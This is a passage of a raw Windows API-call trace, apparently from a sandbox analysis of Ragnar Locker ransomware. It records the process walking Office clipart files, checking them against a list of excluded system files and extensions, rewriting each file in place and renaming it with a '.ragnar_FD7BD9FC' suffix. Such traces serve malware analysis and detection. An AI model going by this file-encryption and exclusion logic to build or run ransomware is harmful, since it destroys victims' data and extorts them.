[0089.224] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf")) returned 0x20 [0089.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.225] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5172) returned 1 [0089.225] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x142b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.225] GetProcessHeap () returned 0x580000 [0089.225] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.225] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.226] VirtualAlloc (lpAddress=0x0, dwSize=0x1434, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.227] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.227] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.227] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1434, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1434, lpOverlapped=0x0) returned 1 [0089.228] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.228] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1434, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.228] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1434, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1434, lpOverlapped=0x0) returned 1 [0089.228] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1434, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.228] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.228] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.228] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.228] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.228] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.228] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.228] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.229] GetProcessHeap () returned 0x580000 [0089.229] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.229] CloseHandle (hObject=0xf4) returned 1 [0089.229] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" [0089.229] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF.ragnar_FD7BD9FC" [0089.229] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.229] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3218, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02441_.WMF", cAlternateFileName="")) returned 1 [0089.229] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.230] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02441_.WMF" | out: lpString1="NA02441_.WMF") returned="NA02441_.WMF" [0089.230] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF") returned=".WMF" [0089.230] lstrcmpiW (lpString1="NA02441_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.230] lstrcmpiW (lpString1="NA02441_.WMF", lpString2="autorun.inf") returned 1 [0089.230] lstrcmpiW (lpString1="NA02441_.WMF", lpString2="boot.ini") returned 1 [0089.230] lstrcmpiW (lpString1="NA02441_.WMF", lpString2="bootfont.bin") returned 1 [0089.230] lstrcmpiW (lpString1="NA02441_.WMF", lpString2="bootsect.bak") returned 1 [0089.230] lstrcmpiW (lpString1="NA02441_.WMF", lpString2="bootmgr") returned 1 [0089.230] lstrcmpiW (lpString1="NA02441_.WMF", lpString2="bootmgr.efi") returned 1 [0089.230] lstrcmpiW (lpString1="NA02441_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.230] lstrcmpiW (lpString1="NA02441_.WMF", lpString2="desktop.ini") returned 1 [0089.230] lstrcmpiW (lpString1="NA02441_.WMF", lpString2="iconcache.db") returned 1 [0089.230] lstrcmpiW (lpString1="NA02441_.WMF", lpString2="ntldr") returned -1 [0089.230] lstrcmpiW (lpString1="NA02441_.WMF", lpString2="ntuser.dat") returned -1 [0089.230] lstrcmpiW (lpString1="NA02441_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.230] lstrcmpiW (lpString1="NA02441_.WMF", lpString2="ntuser.ini") returned -1 [0089.230] lstrcmpiW (lpString1="NA02441_.WMF", lpString2="thumbs.db") returned -1 [0089.230] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.230] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.230] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.230] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.230] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.230] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.230] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf")) returned 0x20 [0089.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.231] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12824) returned 1 [0089.231] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x320f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.231] GetProcessHeap () returned 0x580000 [0089.231] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.231] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.233] VirtualAlloc (lpAddress=0x0, dwSize=0x3218, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.233] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.233] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.233] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3218, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3218, lpOverlapped=0x0) returned 1 [0089.234] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.234] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3218, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.234] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3218, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3218, lpOverlapped=0x0) returned 1 [0089.234] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3218, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.235] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.235] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3218, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.235] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.235] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.235] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.235] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.235] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.235] GetProcessHeap () returned 0x580000 [0089.235] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.235] CloseHandle (hObject=0xf4) returned 1 [0089.235] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" [0089.235] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF.ragnar_FD7BD9FC" [0089.235] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.236] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02443_.WMF", cAlternateFileName="")) returned 1 [0089.236] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.236] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02443_.WMF" | out: lpString1="NA02443_.WMF") returned="NA02443_.WMF" [0089.236] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF") returned=".WMF" [0089.236] lstrcmpiW (lpString1="NA02443_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.236] lstrcmpiW (lpString1="NA02443_.WMF", lpString2="autorun.inf") returned 1 [0089.236] lstrcmpiW (lpString1="NA02443_.WMF", lpString2="boot.ini") returned 1 [0089.236] lstrcmpiW (lpString1="NA02443_.WMF", lpString2="bootfont.bin") returned 1 [0089.236] lstrcmpiW (lpString1="NA02443_.WMF", lpString2="bootsect.bak") returned 1 [0089.236] lstrcmpiW (lpString1="NA02443_.WMF", lpString2="bootmgr") returned 1 [0089.237] lstrcmpiW (lpString1="NA02443_.WMF", lpString2="bootmgr.efi") returned 1 [0089.237] lstrcmpiW (lpString1="NA02443_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.237] lstrcmpiW (lpString1="NA02443_.WMF", lpString2="desktop.ini") returned 1 [0089.237] lstrcmpiW (lpString1="NA02443_.WMF", lpString2="iconcache.db") returned 1 [0089.237] lstrcmpiW (lpString1="NA02443_.WMF", lpString2="ntldr") returned -1 [0089.237] lstrcmpiW (lpString1="NA02443_.WMF", lpString2="ntuser.dat") returned -1 [0089.237] lstrcmpiW (lpString1="NA02443_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.237] lstrcmpiW (lpString1="NA02443_.WMF", lpString2="ntuser.ini") returned -1 [0089.237] lstrcmpiW (lpString1="NA02443_.WMF", lpString2="thumbs.db") returned -1 [0089.237] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.237] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.237] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.237] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.237] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.237] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.237] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf")) returned 0x20 [0089.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.238] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1372) returned 1 [0089.238] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x553, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.238] GetProcessHeap () returned 0x580000 [0089.238] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.238] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.239] VirtualAlloc (lpAddress=0x0, dwSize=0x55c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.239] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.239] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.239] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x55c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x55c, lpOverlapped=0x0) returned 1 [0089.240] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.240] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x55c, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.240] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x55c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x55c, lpOverlapped=0x0) returned 1 [0089.240] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x55c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.240] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.240] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x55c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.240] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.240] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.240] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.240] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.241] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.241] GetProcessHeap () returned 0x580000 [0089.241] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.241] CloseHandle (hObject=0xf4) returned 1 [0089.241] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" [0089.241] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF.ragnar_FD7BD9FC" [0089.241] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.241] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02444_.WMF", cAlternateFileName="")) returned 1 [0089.241] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.242] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02444_.WMF" | out: lpString1="NA02444_.WMF") returned="NA02444_.WMF" [0089.242] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF") returned=".WMF" [0089.242] lstrcmpiW (lpString1="NA02444_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.242] lstrcmpiW (lpString1="NA02444_.WMF", lpString2="autorun.inf") returned 1 [0089.242] lstrcmpiW (lpString1="NA02444_.WMF", lpString2="boot.ini") returned 1 [0089.242] lstrcmpiW (lpString1="NA02444_.WMF", lpString2="bootfont.bin") returned 1 [0089.242] lstrcmpiW (lpString1="NA02444_.WMF", lpString2="bootsect.bak") returned 1 [0089.242] lstrcmpiW (lpString1="NA02444_.WMF", lpString2="bootmgr") returned 1 [0089.242] lstrcmpiW (lpString1="NA02444_.WMF", lpString2="bootmgr.efi") returned 1 [0089.242] lstrcmpiW (lpString1="NA02444_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.242] lstrcmpiW (lpString1="NA02444_.WMF", lpString2="desktop.ini") returned 1 [0089.242] lstrcmpiW (lpString1="NA02444_.WMF", lpString2="iconcache.db") returned 1 [0089.242] lstrcmpiW (lpString1="NA02444_.WMF", lpString2="ntldr") returned -1 [0089.242] lstrcmpiW (lpString1="NA02444_.WMF", lpString2="ntuser.dat") returned -1 [0089.242] lstrcmpiW (lpString1="NA02444_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.242] lstrcmpiW (lpString1="NA02444_.WMF", lpString2="ntuser.ini") returned -1 [0089.242] lstrcmpiW (lpString1="NA02444_.WMF", lpString2="thumbs.db") returned -1 [0089.242] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.242] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.242] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.242] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.242] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.242] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.242] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf")) returned 0x20 [0089.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.243] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2188) returned 1 [0089.243] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x883, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) 